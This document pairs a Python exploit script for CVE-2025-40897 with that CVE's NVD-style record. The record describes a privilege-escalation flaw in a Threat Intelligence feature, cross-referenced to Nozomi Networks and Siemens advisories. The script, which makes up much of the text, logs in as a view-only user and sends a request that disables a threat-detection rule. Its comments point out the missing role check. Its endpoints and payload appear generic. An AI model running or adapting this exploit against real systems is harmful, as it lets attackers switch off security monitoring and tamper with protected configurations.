CVE-2025-40897

#!/usr/bin/env python3 import requests # Exploit Title: CVE-2025-40897 - Privilege Escalation in Threat Intelligence # Description: Exploit access control vulnerability to modify rules as a view-only user. TARGET_URL = "https://<target-ip>/api/v1/threat-intelligence/rules" USER = "readonly_user" PASS = "password123" # Malicious payload to disable a critical rule PAYLOAD = { "rule_id": "rule-01", "status": "disabled", "action": "update_configuration" } def exploit(): session = requests.Session() # Step 1: Authenticate as low-privileged user print("[*] Authenticating as view-only user...") login_data = {"username": USER, "password": PASS} login_resp = session.post("https://<target-ip>/api/v1/login", json=login_data) if login_resp.status_code != 200: print("[-] Login failed.") return print("[+] Login successful.") # Step 2: Send Administrative Request print("[*] Sending malicious administrative request...") headers = {"Content-Type": "application/json"} # The vulnerability is here: The server checks if the user is authenticated, # but fails to check if the user has 'admin' role for this specific endpoint. response = session.post(TARGET_URL, json=PAYLOAD, headers=headers) if response.status_code == 200: print("[+] Exploit successful! Rules have been modified.") print(f"[+] Response: {response.text}") else: print(f"[-] Exploit failed. Status code: {response.status_code}") if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2025-40897", "sourceIdentifier": "[email protected]", "published": "2026-04-15T09:16:29.777", "lastModified": "2026-05-12T13:17:19.187", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "An access control vulnerability was discovered in the Threat Intelligence functionality due to a specific access restriction not being properly enforced for users with view-only privileges. An authenticated user with view-only privileges for the Threat Intelligence functionality can perform administrative actions on it, altering the rules configuration, and/or affecting their availability."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "references": [{"url": "https://security.nozominetworks.com/NN-2026:1-01", "source": "[email protected]"}, {"url": "https://cert-portal.siemens.com/productcert/html/ssa-827968.html", "source": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e"}]}}